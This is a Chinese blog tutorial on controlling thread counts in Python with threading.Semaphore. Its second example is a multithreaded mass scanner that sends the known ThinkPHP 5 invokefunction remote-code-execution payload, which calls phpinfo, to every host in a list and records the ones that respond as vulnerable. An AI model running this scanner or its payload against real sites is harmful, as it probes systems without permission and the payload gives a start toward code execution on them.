python多线程semaphore实现线程数控制的示例


Posted in Python onAugust 10, 2020

前面写过一篇关于python多线程的实现的文章, 但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。

百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法,这为python2的写法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数,线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程,可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法,python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数,释放线程,线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法,python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程,直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python 线程数控制内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python去除所有html标签的方法
May 05 Python
简单讲解Python中的字符串与字符串的输入输出
Mar 13 Python
Django 生成登陆验证码代码分享
Dec 12 Python
详谈在flask中使用jsonify和json.dumps的区别
Mar 26 Python
Django重装mysql后启动报错:No module named ‘MySQLdb’的解决方法
Apr 22 Python
图解python全局变量与局部变量相关知识
Nov 02 Python
基于h5py的使用及数据封装代码
Dec 26 Python
Python读取分割压缩TXT文本文件实例
Feb 14 Python
Python定时器线程池原理详解
Feb 26 Python
Python 随机生成测试数据的模块:faker基本使用方法详解
Apr 09 Python
python打包生成so文件的实现
Oct 30 Python
使用Python拟合函数曲线
Apr 14 Python
如何在python中实现线性回归
Aug 10 #Python
Python多线程的退出控制实现
Aug 10 #Python
Python进行统计建模
Aug 10 #Python
Python如何爬取b站热门视频并导入Excel
Aug 10 #Python
拿来就用!Python批量合并PDF的示例代码
Aug 10 #Python
Python 发送邮件方法总结
Aug 10 #Python
Python getattr()函数使用方法代码实例
Aug 10 #Python
You might like
咖啡的植物学知识
2021/03/03 咖啡文化
PHP中实现图片的锐化
2006/10/09 PHP
php中使用getimagesize获取图片、flash等文件的尺寸信息实例
2014/04/29 PHP
php foreach正序倒序输出示例代码
2014/07/01 PHP
将FCKeditor导入PHP+SMARTY的实现方法
2015/01/15 PHP
php数据库操作model类(使用__call方法)
2016/11/16 PHP
event.srcElement 用法笔记e.target
2009/12/18 Javascript
监控 url fragment变化的js代码
2010/04/19 Javascript
jquery实现table鼠标经过变色代码
2013/09/25 Javascript
js对字符的验证方法汇总
2015/02/04 Javascript
javascript实现点击商品列表checkbox实时统计金额的方法
2015/05/15 Javascript
JavaScript程序中的流程控制语句用法总结
2016/05/23 Javascript
原生JS实现轮播效果+学前端的感受(防止走火入魔)
2016/08/21 Javascript
详解ECMAScript6入门--Class对象
2017/04/27 Javascript
Angular中的interceptors拦截器
2017/06/25 Javascript
通过js动态创建标签,并设置属性方法
2018/02/24 Javascript
postman+json+springmvc测试批量添加实例
2018/03/31 Javascript
使用vue-cli导入Element UI组件的方法
2018/05/16 Javascript
vue-cli3+typescript初体验小结
2019/02/28 Javascript
vue实现多组关键词对应高亮显示功能
2019/07/25 Javascript
在Express中提供静态文件的实现方法
2019/10/17 Javascript
Python中几种导入模块的方式总结
2017/04/27 Python
Golang与python线程详解及简单实例
2017/04/27 Python
浅谈Python用QQ邮箱发送邮件时授权码的问题
2018/01/29 Python
Python requests模块实例用法
2019/02/11 Python
Python基本类型的连接组合和互相转换方式(13种)
2019/12/16 Python
pytorch使用tensorboardX进行loss可视化实例
2020/02/24 Python
Python Dataframe常见索引方式详解
2020/05/27 Python
python算的上脚本语言吗
2020/06/22 Python
如何利用python进行时间序列分析
2020/08/04 Python
Python中pass的作用与使用教程
2020/11/13 Python
CSS3制作精致的照片墙特效
2016/06/07 HTML / CSS
详解Css3新特性应用之过渡与动画
2017/01/10 HTML / CSS
《乡下孩子》教学反思
2014/04/17 职场文书
酒店仓管员岗位职责
2015/04/01 职场文书
java泛型通配符详解
2021/07/25 Java/Android